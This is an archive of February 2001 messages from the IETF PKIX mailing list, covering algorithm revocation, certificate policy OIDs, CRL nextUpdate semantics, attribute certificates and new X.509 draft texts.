Received: (from nobody@localhost) by sonne.darmstadt.gmd.de (8.8.8/8.8.5) id NAA03248; Tue, 27 Feb 2001 13:40:29 +0100 (MET)
To: "Bland, Graham" <[e-mail]>
Subject: RE: multiple digitale signatures
Message-ID: <[e-mail]>
Date: Tue, 27 Feb 2001 13:40:29 +0100 (MET)
From: [e-mail]
Cc: [e-mail]
References: <36086CC80304D3119B040008C75DF5960494348F@claudio>
In-Reply-To: <36086CC80304D3119B040008C75DF5960494348F@claudio>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP IMAP webmail program 2.2.3

Graham,

>   What about my extension to two protocols and two Crypto Libraries to cover
>   the compromise of these?

If you want to regard also failures that occurs in protocols, a solution would 
be to use two protocols and two implementations as well. It's same paradigm.

But we look at the following failures only:
- compromise of signature algorithm
- compromise of keys or systemparameter

We suppose that protocols like PKCS#7 are secure. 

>   In order to determine if it is possible I must have a bit more detail:
>
>   Please define Infocode, this is an OID that is interpreted by the software,
>   What is the software and what are the possible interpretations, if existing
>   software is to understand these codes then they must have predefined
>   meanings.  How does Infocode relate to the relevantID?

Infocode is interpreted by the client software like mail client, so the client
knows what to do - e.g. delete, add or update of algorithms. Software that don't 
unterstand Infocode should ignore it. 

relevantID contains a list of application identifier of intended application
like a chipcard AID or an ID of the mail client.

>   Does the use of freetext imply that the user is informed, can the user
>   influence anything or is this just a message to be displayed.

Depending on application and implementation I think the user should return
the following actions - analogous to virus scanner.

>   As this will be permanently in the 
>   relevantID,  This identifies compromised components, I presume these would
>   be defined for all cryptographic algorithms with a range of key lengths and
>   protocols, presumably separate ones for any possible options would be needed
>   for example SSL with and without client authentication.  Who is going to be
>   responsible for allocating these OIDs?
>
IMO the CA knows the OID of the used signature algorithms of its Certificate
Holders.
But it's right, I have to add keylength to differ between the compromised
algorithm
and the new one.

>   newID identifies a new component, is this intended to instruct a system to
>   dynamically reconfigure itself? Again does the software have to understand
>   these OIDS, if so all possible new components must be predefined.

Yes, the basis of the FlexiPKI is a flexible structure which allows the
exchange of signature algorithms separately

>   code, are you suggesting that this is the executable code to be used as the
>   new components referenced by newID or have I misread this completely.  If
>   this was intended to be the code then OS details etc are required as this
>   would be different for NT and Solaris systems.  All possible variants must
>   be included in the message

Yes, I think the CA stores the informations about the system requirements of its 
customers.
>
>   Once this extension has been sent what happens next, must it be permanently
>   left in place for any new users to read, is it removed after a period of
>   time or do all users acknowledge somehow that they have received it?
>   Certificates expire and can be removed from a CRL, these would never expire.
>
>   What happens if my system does not support RSA 4096 when this is mandated,
>   do I shut down?

This is a proposal to distribute the new RSA 4096 software. But if your system
doesn't allow the exchange, you will do shut down - in the same manner as now.
>
>   Does this apply to other protocols, for example must I throw away all RSA
>   512 bit PGP keys when this is revoked within a PKI?

If your certificate is revoked and you cannot work with it because the receiver
doesn't accept the signature: yes.


Best regards,
Soenke



Received: from localhost.localdomain ([206.48.156.90]) by above.proper.com (8.9.3/8.9.3) with ESMTP id EAA27266 for <[e-mail]>; Tue, 27 Feb 2001 04:35:53 -0800 (PST)
Received: from jperez ([192.168.4.178]) by localhost.localdomain (8.9.3/8.9.3) with SMTP id JAA01025; Tue, 27 Feb 2001 09:33:14 -0500
Reply-To: <[e-mail]>
From: =?us-ascii?Q?Juan_Carlos_Perez_Aguayo?= <[e-mail]>
To: "'Cameron Smith'" <[e-mail]>, <[e-mail]>
Subject: RE: Registering a Certificate Policy OID
Date: Tue, 27 Feb 2001 09:35:32 -0400
Message-ID: <000001c0a0c2$28b712c0$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <[e-mail]>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

you can get a OID in the IANA (www.iana.org) for you organization, and then
go further with OIDs under it tree.


regards

Juan Carlos

> -----Original Message-----
> From: Cameron Smith [mailto:[e-mail]]
> Sent: Monday, February 26, 2001 8:21 PM
> To: [e-mail]
> Subject: Registering a Certificate Policy OID
>
>
> (Pardon my ignorant question and wide distribution, but I
> don't know where
> else to turn.)
>
> How does one obtain/register a Certificate Policy OID for an
> organization?
>
> Regards,
>
> Cameron
>
> --
> Cameron Smith
> PKI Security Analyst
> Symantec Corporation
>



Received: from lh11.opsion.fr (lh11.opsion.fr [212.73.208.237]) by above.proper.com (8.9.3/8.9.3) with SMTP id EAA26047 for <[e-mail]>; Tue, 27 Feb 2001 04:28:02 -0800 (PST)
Received: from 216.192.51.2 [216.192.51.2] by lh11.opsion.fr; Tue, 27 Feb 2001 12:31:06 GMT
Message-ID: <003201bf80d2$d622de00$0233c0d8@fifo>
From: "Francois-Frederic Ozog" <[e-mail]>
To: <[e-mail]>, "Russ Housley" <[e-mail]>
Cc: <[e-mail]>
References: <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]>
Subject: Usage of Attribute Certificates for carrier Mobile Internet solution
Date: Sun, 27 Feb 2000 04:27:37 +0100
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_002D_01BF80DA.FA1354E0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

This is a multi-part message in MIME format.

------=_NextPart_000_002D_01BF80DA.FA1354E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I am architecting a product line for wireless networks. I beleive I can =
greatly enhance ease of management and add "corporate services" features =
using an authorization scheme based on Attribute Certificate is very =
attractive. I would like to take a decision on this scenario ASAP and =
need some feed back on wheter it stands water or not:

1) When will it be a safe choice ?
Our prototype should be ready in three months and full product release =
in nine.

2) What are the current implementations ?

3) When will those implementations be "carrier grade" ?
Environment may have to server millions of subscribers.

Thank you for your help.

Fran=E7ois-Fr=E9d=E9ric Ozog
Principal Software Architect
+ 1 425 943 7707

PS: I assume that I can define a specific profile of AC usage addressing =
concerns expressed in a number of threads such as "Path Names to AC =
Holders, Targets andProxies", "Why is the holder DN prefered?".

------=_NextPart_000_002D_01BF80DA.FA1354E0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4611.1300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I am architecting a product line for =
wireless=20
networks. I beleive I can greatly enhance ease of management and add =
"corporate=20
services" features using an authorization scheme&nbsp;based on Attribute =

Certificate is very attractive. I would like to take a decision on this =
scenario=20
ASAP and need some feed back on wheter it stands water or =
not:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>1) When will it be a safe choice =
?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Our prototype should be ready in three =
months and=20
full product release in nine.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>2) What are the current implementations =

?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>3) When will those implementations be =
"carrier=20
grade" ?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Environment may have to server millions =
of=20
subscribers.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thank you for your help.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Fran=E7ois-Fr=E9d=E9ric =
Ozog</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Principal Software =
Architect</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>+ 1 425 943 7707</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>PS: I assume that I can define a =
specific profile=20
of AC usage addressing concerns expressed in a number of threads such as =

"</FONT><FONT face=3DArial size=3D2>Path Names to AC Holders, Targets =
andProxies",=20
"Why is the holder DN prefered?".</FONT></DIV></BODY></HTML>

------=_NextPart_000_002D_01BF80DA.FA1354E0--

 
______________________________________________________________________________
ifrance.com, l'email gratuit le plus complet de l'Internet !
vos emails depuis un navigateur, en POP3, sur Minitel, sur le WAP...
http://www.ifrance.com/_reloc/email.emailif




Received: from certplus.com (facteur.certplus.com [195.101.88.81]) by above.proper.com (8.9.3/8.9.3) with ESMTP id DAA20333 for <[e-mail]>; Tue, 27 Feb 2001 03:43:42 -0800 (PST)
Received: from certplus.com ([192.168.212.178]) by certplus.com (8.11.2/8.11.2) with ESMTP id f1RBgqc23838 for <[e-mail]>; Tue, 27 Feb 2001 12:42:52 +0100
Message-ID: <[e-mail]>
Date: Tue, 27 Feb 2001 12:43:06 +0100
From: Jean-Marc Desperrier <[e-mail]>
Organization: Certplus
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: Part1 last call comments
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

David Kemp wrote:

> I agree that it is useful for a CRL
> to contain two items of information about CRL updates:
>
>   * the date at which the next scheduled CRL will be issued

_at_ which

>   * a CA-suggested date at which applications should consider
>       a CRL "expired" and start warning the user.
>
> However, X.509 defines "nextUpdate" as "the date/time by which
> the next revocation list in this series will be issued",

_by_ which

This is not the date _at_ which the next revocation list will be issued, but
_by_which the CRL is garanteed to have been issued.

This garantee covers the case where there's a problem and the
issuance/propagation of the CRL is slightly delayed.

Only after the nextUpdate delay, if the next CRL is not available, this is an
error.

Now stays to be discussed how much CA abuse this opening in the wording of the
standard by setting nextUpdate to 24 hours, when they issue new crl every 12
hours.



Received: from albatross.prod.itd.earthlink.net (albatross.prod.itd.earthlink.net [207.217.120.120]) by above.proper.com (8.9.3/8.9.3) with ESMTP id CAA06019 for <[e-mail]>; Tue, 27 Feb 2001 02:12:47 -0800 (PST)
Received: from [38.29.64.138] (ip138.tucson4.az.pub-ip.psi.net [38.29.64.138]) by albatross.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id CAA08473; Tue, 27 Feb 2001 02:11:55 -0800 (PST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <a05001900b6c11eccacdf@[38.29.65.17]>
Date: Tue, 27 Feb 2001 03:12:06 -0700
To: "X.509":;
From: "Hoyt L. Kesterson II" <[e-mail]>
Subject: a new version of the 4th edition of x.509
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

hello all

Although the ITU had planned to publish the 4th edition of X.509 by 
now (it being traditional that a 2000 edition be published in that 
year) they did not do so. This gave Sharon an opportunity to 
integrate the latest approved technical corrigendum, TC 1, into the 
edition.

I have posted that new version upon the server in pdf and word formats at

 
ftp://ftp.bull.com/pub/OSIdirectory/4thEditionTexts/X509_4thEditionDraftV7.doc 
and

 
ftp://ftp.bull.com/pub/OSIdirectory/4thEditionTexts/X509_4thEditionDraftV7.pdf

The drafts of the 4th edition of the other parts of X.500 are also 
available at the same server. Several definitions in these standards 
are referenced by X.509. For example

The UsefulDefinitions module is in annex A of X.501 at

 
ftp://ftp.bull.com/pub/OSIdirectory/4thEditionTexts/X501_4thEditionDraftV3.doc 
and

 
ftp://ftp.bull.com/pub/OSIdirectory/4thEditionTexts/X501_4thEditionDraftV3.pdf 


The revised definition of DirectoryString containing UTF8String is in 
clause 5 of X.520, Selected Attribute Types, at

 
ftp://ftp.bull.com/pub/OSIdirectory/4thEditionTexts/X520_4thEditionDraftV3.doc 
and

 
ftp://ftp.bull.com/pub/OSIdirectory/4thEditionTexts/X520_4thEditionDraftV3.pdf

Normally I would end this message with a warning to get this standard 
from the server while it is hot. However ITU is allowing any three 
recommendations to be downloaded at no cost from their server. It is 
an interesting experiment that they are evaluating for 2001. For more 
information see

    http://www.itu.int/publications/bookshop/how-to-buy.html

The more devious among you will notice that it is possible to abuse 
the service. Please try to restrain yourself. Since these are 
copyrighted documents, one should not napsterize them.

   hoyt



Received: from sonne.darmstadt.gmd.de (sonne.darmstadt.gmd.de [141.12.62.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id BAA02878 for <[e-mail]>; Tue, 27 Feb 2001 01:52:44 -0800 (PST)
Received: (from nobody@localhost) by sonne.darmstadt.gmd.de (8.8.8/8.8.5) id KAA17101; Tue, 27 Feb 2001 10:52:04 +0100 (MET)
To: Joerg Seidel <[e-mail]>
Subject: Re: Algorithm revocation
Message-ID: <[e-mail]>
Date: Tue, 27 Feb 2001 10:52:03 +0100 (MET)
From: [e-mail]
Cc: =?ISO-8859-1?Q?S=F6nke_Maseberg?= <[e-mail]>, [e-mail]
References: <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]> <[e-mail]>
In-Reply-To: <[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP IMAP webmail program 2.2.3

Quoting Joerg Seidel <[e-mail]>:

> If one of the layers fails the other can help...

Our proposal follows the same paradigm, I think. 

Soenke


Received: from navgwout.symantec.com (navgwout.symantec.com [198.6.49.12]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA12808 for <[e-mail]>; Mon, 26 Feb 2001 16:21:04 -0800 (PST)
Received: from navgwout.symantec.com (navgwout [198.6.49.12]) by navgwout.symantec.com (8.9.3+Sun/8.9.3) with SMTP id QAA28896 for <[e-mail]>; Mon, 26 Feb 2001 16:21:07 -0800 (PST)
Received: from mailer.symantec.com ([198.6.49.176]) by navgwout.symantec.com (NAVGW 2.2 bld 73) with SMTP id M2001022616210602154 for <[e-mail]>; Mon, 26 Feb 2001 16:21:06 -0800
Received: from uscu-smtp02.symantec.com (uscu-smtp02.symantec.com [155.64.74.114]) by mailer.symantec.com (8.9.3+Sun/8.9.3) with ESMTP id QAA15030 for <[e-mail]>; Mon, 26 Feb 2001 16:21:06 -0800 (PST)
Subject: Registering a Certificate Policy OID
To: [e-mail]
X-Mailer: Lotus Notes Release 5.0.4  June 8, 2000
Message-ID: <[e-mail]>
From: "Cameron Smith" <[e-mail]>
Date: Mon, 26 Feb 2001 16:20:46 -0800
X-MIMETrack: Serialize by Router on USCU-SMTP02/SYMSMTP(Release 5.0.4 |June 8, 2000) at 02/26/2001 04:20:18 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

(Pardon my ignorant question and wide distribution, but I don't know where
else to turn.)

How does one obtain/register a Certificate Policy OID for an organization?

Regards,

Cameron

--
Cameron Smith
PKI Security Analyst
Symantec Corporation




Received: from stingray.missi.ncsc.mil (stingray.missi.ncsc.mil [144.51.50.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA07943 for <[e-mail]>; Mon, 26 Feb 2001 13:46:59 -0800 (PST)
Received: from stingray.missi.ncsc.mil (root@localhost) by stingray.missi.ncsc.mil with ESMTP id QAA29746 for <[e-mail]>; Mon, 26 Feb 2001 16:46:31 -0500 (EST)
Message-Id: <[e-mail]>
Date: Mon, 26 Feb 2001 16:46:28 -0500 (EST)
From: David Kemp <[e-mail]>
Reply-To: David Kemp <[e-mail]>
Subject: Re: Part1 last call comments
To: [e-mail]
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: WOlbpQK5Bja+GBW49OF9gg==

> From: "Jim Schaad" <[e-mail]>
> 
> 4. Section 3.3 - Minor point,  in paragraph 4 - This should be "until all
> existing CRLs expires" rather than "until the next periodic CRL update".  A
> CRL may be valid for more than one issue period (i.e. issue every 12 hours,
> expire after 24 hours).


Jim,

I disagree with this proposed change.  CRLs do not expire, they only
have a next scheduled update date.  As section 3.3 paragraph 3 says,
"the meaning of 'suitably-recent' may vary with local policy", and
if one local policy says that CRLs which are issued every 12 hours
don't expire until 24 hours after issue, fine.  A different local
policy, however, might say that the identical CRL expires 13 hours
after issue.

The topic of CRL "expiration" was discussed last year, and I
understand that a PKIX proposal for a new "date-to-check-for-updated-CRL" 
extension is again in preparation.  I agree that it is useful for a CRL
to contain two items of information about CRL updates:

  * the date at which the next scheduled CRL will be issued
  * a CA-suggested date at which applications should consider
      a CRL "expired" and start warning the user.

However, X.509 defines "nextUpdate" as "the date/time by which
the next revocation list in this series will be issued", and
any proposal for a new CRL extension should follow the X.509
definition:

  CRL Field          Purpose
  -----------    -----------------
  nextUpdate     1) next scheduled CRL update
  new extension  2) CA-provided hint for CRL expiration date

instead of following the currently common CA practice of ignoring
the X.509 definition:

  CRL Field          Purpose
  -----------    -----------------
  nextUpdate     1) CRL "expiration" date
  new extension  2) actual next scheduled CRL update

If a new CRL extension is defined, it will eliminate the motivation
for CAs to populate nextUpdate with a white lie as a workaround for
propogation time issues.  The new extension should be defined so
that it eliminates the need for an inaccurate nextUpdate, rather
than perpetuating it.

Regards,
Dave



Received: from mailout04.sul.t-online.com (mailout04.sul.t-online.com [194.25.134.18]) by above.proper.com (8.9.3/8.9.3) with ESMTP id KAA02546 for <[e-mail]>; Mon, 26 Feb 2001 10:35:09 -0800 (PST)
Received: from fwd06.sul.t-online.com  by mailout04.sul.t-online.com with smtp  id 14XSUI-0002t6-02; Mon, 26 Feb 2001 19:35:10 +0100
Received: from junker.ms.inka.de (520010731148-0001@[193.159.1.166]) by fmrl06.sul.t-online.com with esmtp id 14XSUA-0WudwOC; Mon, 26 Feb 2001 19:35:02 +0100
Received: from stroeder.com (localhost [127.0.0.1]) by junker.ms.inka.de (Postfix) with ESMTP id CA8CB68080 for <[e-mail]>; Mon, 26 Feb 2001 19:34:57 +0100 (CET)
Sender: [e-mail]
Message-ID: <[e-mail]>
Date: Mon, 26 Feb 2001 19:34:56 +0100
From: Michael =?iso-8859-1?Q?Str=F6der?= <[e-mail]>
Organization: stroeder.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: de-DE, de, en
MIME-Version: 1.0
To: ietf-pkix <[e-mail]>
Subject: Re: draft-ietf-pkix-rfc2511bis-00.txt: Declaration of Name
References: <5.0.2.1.2.20010226121330.0245c470@206.30.74.234>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [e-mail]

Ari Kermaier wrote:
> 
> >Could you tell me why the declaration of "Name"
> >is missing or where I am supposed to find it?
>
> See RFC 2459 Section 4.1.2.4 Issuer.

Thank you. I overlooked:

IMPORTS
     -- Directory Authentication Framework (X.509)
        Version, AlgorithmIdentifier, Name, Time,

Ciao, Michael.


Received: from mail.phaos.com ([206.30.74.234]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA00410 for <[e-mail]>; Mon, 26 Feb 2001 08:59:06 -0800 (PST)
Received: from phaos_arik.phaos.com (ruskie.spacerat.com [207.51.38.135]) by mail.phaos.com (8.9.2/8.9.2) with ESMTP id QAA14282; Mon, 26 Feb 2001 16:15:13 -0500 (EST) (envelope-from [e-mail])
Message-Id: <5.0.2.1.2.20010226121330.0245c470@206.30.74.234>
X-Sender: arik@206.30.74.234
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Mon, 26 Feb 2001 12:15:57 -0500
To: [e-mail] (Michael =?iso-8859-1?Q?Str=F6der?= ), ietf-pkix <[e-mail]>
From: Ari Kermaier <[e-mail]>
Subject: Re: draft-ietf-pkix-rfc2511bis-00.txt: Declaration of Name 
In-Reply-To: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

See RFC 2459 Section 4.1.2.4 Issuer.

::Ari

>HI!
>
>I'm reviewing draft-ietf-pkix-rfc2511bis-00.txt.
>I stumbled across declaration of CertTemplate:
>
>CertTemplate ::= SEQUENCE {
>[..]
>     issuer       [3] Name                  OPTIONAL,
>[..]
>     subject      [5] Name                  OPTIONAL,
>[..]
>
>But I did not find a declaration of the form
>
>Name ::=
>
>Although I found the declaration
>
>       issuerName  ::= <names>
>       subjectName ::= <names>
>
>in appendix B.1.1. Could you tell me why the declaration of "Name"
>is missing or where I am supposed to find it?
>
>Ciao, Michael.



Received: from mailout04.sul.t-online.com (mailout04.sul.t-online.com [194.25.134.18]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA24488 for <[e-mail]>; Mon, 26 Feb 2001 07:31:20 -0800 (PST)
Received: from fwd00.sul.t-online.com  by mailout04.sul.t-online.com with smtp  id 14XPcO-00035x-00; Mon, 26 Feb 2001 16:31:20 +0100
Received: from junker.ms.inka.de (520010731148-0001@[62.158.222.211]) by fwd00.sul.t-online.com with esmtp id 14XPc2-21cKCeC; Mon, 26 Feb 2001 16:30:58 +0100
Received: from stroeder.com (localhost [127.0.0.1]) by junker.ms.inka.de (Postfix) with ESMTP id 0D43667C35 for <[e-mail]>; Mon, 26 Feb 2001 16:29:16 +0100 (CET)
Sender: [e-mail]
Message-ID: <[e-mail]>
Date: Mon, 26 Feb 2001 16:29:15 +0100
From: [e-mail] (Michael =?iso-8859-1?Q?Str=F6der?=)
Organization: stroeder.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: de-DE, de, en
MIME-Version: 1.0
To: ietf-pkix <[e-mail]>
Subject: draft-ietf-pkix-rfc2511bis-00.txt: Declaration of Name 
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [e-mail]

HI!

I'm reviewing draft-ietf-pkix-rfc2511bis-00.txt.
I stumbled across declaration of CertTemplate:

CertTemplate ::= SEQUENCE {
[..]
    issuer       [3] Name                  OPTIONAL,
[..]
    subject      [5] Name                  OPTIONAL,
[..]

But I did not find a declaration of the form

Name ::=

Although I found the declaration

      issuerName  ::= <names>
      subjectName ::= <names>

in appendix B.1.1. Could you tell me why the declaration of "Name"
is missing or where I am supposed to find it?

Ciao, Michael.


Received: from crypto.ee.ncku.edu.tw ([140.116.163.20]) by above.proper.com (8.9.3/8.9.3) with SMTP id GAA12337 for <[e-mail]>; Sun, 25 Feb 2001 06:27:43 -0800 (PST)
Received: from crypto4 by crypto.ee.ncku.edu.tw (SMI-8.6/SMI-SVR4) id WAA03868; Sun, 25 Feb 2001 22:07:38 +0800
Message-ID: <007001c09f38$ba01f7d0$16a3748c@crypto4>
From: "=?big5?B?psqz0w==?=" <[e-mail]>
To: <[e-mail]>
Subject: information about Private Marks
Date: Sun, 25 Feb 2001 22:39:14 +0800
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_006D_01C09F7B.C78F8780"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

This is a multi-part message in MIME format.

------=_NextPart_000_006D_01C09F7B.C78F8780
Content-Type: text/plain;
	charset="big5"
Content-Transfer-Encoding: quoted-printable

hi....how do you do!

I come from Tainan city in Taiwan. I am a graduate student.
I am interested in Private Marks. And hope to receive some=20
information about Private Marks.If it is convenient to send
some information about introductions and technique of Private
 Marks, please send them to help me....

Thanks=20
                                         baai

PS: Sorry, my English is very poor,especially Syntax



------=_NextPart_000_006D_01C09F7B.C78F8780
Content-Type: text/html;
	charset="big5"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dbig5" http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><STRONG><FONT face=3D=BC=D0=B7=A2=C5=E9 size=3D4>
<DIV><FONT face=3D=BC=D0=B7=A2=C5=E9 size=3D4>hi....how do you =
do!</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3D=BC=D0=B7=A2=C5=E9 size=3D4>I come from Tainan city in =
Taiwan. I am a graduate=20
student.</FONT></DIV>
<DIV><FONT face=3D=BC=D0=B7=A2=C5=E9 size=3D4>I am interested in Private =
Marks. And hope to receive=20
some </FONT></DIV>
<DIV><FONT face=3D=BC=D0=B7=A2=C5=E9 size=3D4>information about Private =
Marks.If it is convenient=20
to send</FONT></DIV>
<DIV><FONT face=3D=BC=D0=B7=A2=C5=E9 size=3D4>some information about =
introductions and technique of=20
Private</FONT></DIV>
<DIV><FONT face=3D=BC=D0=B7=A2=C5=E9 size=3D4>&nbsp;Marks, please send =
them to help=20
me....</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3D=BC=D0=B7=A2=C5=E9 size=3D4>Thanks </FONT></DIV>
<DIV><FONT face=3D=BC=D0=B7=A2=C5=E9=20
size=3D4>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
baai</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3D=BC=D0=B7=A2=C5=E9 size=3D4>PS: Sorry, my English is =
very poor,especially=20
Syntax</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV></FONT></STRONG></DIV></BODY></HTML>

------=_NextPart_000_006D_01C09F7B.C78F8780--



Received: from megadog04.MSMEGAHOST.COM ([131.107.30.172]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA14720 for <[e-mail]>; Fri, 23 Feb 2001 14:11:00 -0800 (PST)
Received: from hdf-smtp-01.MSMEGAHOST.COM ([192.168.0.19]) by megadog04.MSMEGAHOST.COM with Microsoft SMTPSVC(5.0.2195.2290); Fri, 23 Feb 2001 13:59:17 -0800
Received: from mail pickup service by hdf-smtp-01.MSMEGAHOST.COM with Microsoft SMTPSVC; Fri, 23 Feb 2001 13:59:16 -0800
Received: from red-imc-01.redmond.corp.microsoft.com ([157.54.9.102]) by hdf-smtp-01.MSMEGAHOST.COM with Microsoft SMTPSVC(5.0.2195.2290);	 Fri, 23 Feb 2001 13:55:13 -0800
Received:  from mail4.microsoft.com (INET-VRS-04 [157.54.6.183]) by inet-imc-04.redmond.corp.microsoft.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id F39KJT94; Fri, 23 Feb 2001 14:04:58 -0800
Received:  from 208.184.76.39 by mail4.microsoft.com (InterScan E-Mail VirusWall NT); Fri, 23 Feb 2001 14:05:02 -0800 (Pacific Standard Time)
Received:  from localhost by above.proper.com (8.9.3/8.9.3) with SMTP id OAA14300; Fri, 23 Feb 2001 14:02:57 -0800 (PST)
MIME-Version: 1.0
Content-Type: multipart/mixed;	boundary="----_=_NextPart_001_01C09DE4.A902A100"
Received:  by mail.imc.org (bulk_mailer v1.12); Fri, 23 Feb 2001 13:59:28 -0800
Received:  from [207.182.46.161] (ip20.proper.com [165.227.249.20]) by above.proper.com (8.9.3/8.9.3) with ESMTP id NAA13906; Fri, 23 Feb 2001 13:59:22 -0800 (PST)
X-MimeOLE: Produced By Microsoft Exchange V6.0.4633.0
content-class: urn:content-classes:message
Subject: Re: Part1 last call comments
Date: Fri, 23 Feb 2001 13:59:02 -0800
Message-ID: <p05010437b6bc8a315e99@[207.182.46.161]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: <p05010437b6bc8a315e99@[207.182.46.161]>
Thread-Topic: Part1 last call comments
Thread-Index: AcCd5KmeEz9yKImdTs+mtuyXpFLqjg==
List-Unsubscribe: mailto:[e-mail]?body=unsubscribe
From: "Paul Hoffman / IMC" <[e-mail]>
To: <[e-mail]>, "Tim Polk (E-mail)" <[e-mail]>, "Russ Housley (E-mail)" <[e-mail]>
Cc: "IETF-PKIX (E-mail)" <[e-mail]>
X-OriginalArrivalTime: 23 Feb 2001 21:55:13.0919 (UTC) FILETIME=[4CDEF0F0:01C09DE3]

This is a multi-part message in MIME format.

------_=_NextPart_001_01C09DE4.A902A100
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

The latter set of Jim's comments should cause some alarm on this=20
list. It appears that the ASN.1 modules have not been checked, except=20
by Jim Schaad.

It isn't appropriate to pass this on to IETF last call until we have=20
at least one (and hopefully two) people have verified on the list=20
that each of the modules have passed through their ASN.1 verifiers=20
with no errors. It would be nice if anyone verifying the modules=20
could list the warnings that their parsers dump out.

--Paul Hoffman, Director
--Internet Mail Consortium

------_=_NextPart_001_01C09DE4.A902A100
Content-Type: application/ms-tnef;
	name="winmail.dat"
Content-Transfer-Encoding: base64

eJ8+IhMWAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGAAAAElQTS5NaWNy
b3NvZnQgTWFpbC5Ob3RlADEIAQ2ABAACAAAAAgACAAEEgAEAHQAAAFJlOiBQYXJ0MSBsYXN0IGNh
bGwgY29tbWVudHMA7wkBBYADAA4AAADRBwIAFwANADsAAgAFAEABASCAAwAOAAAA0QcCABcADgAF
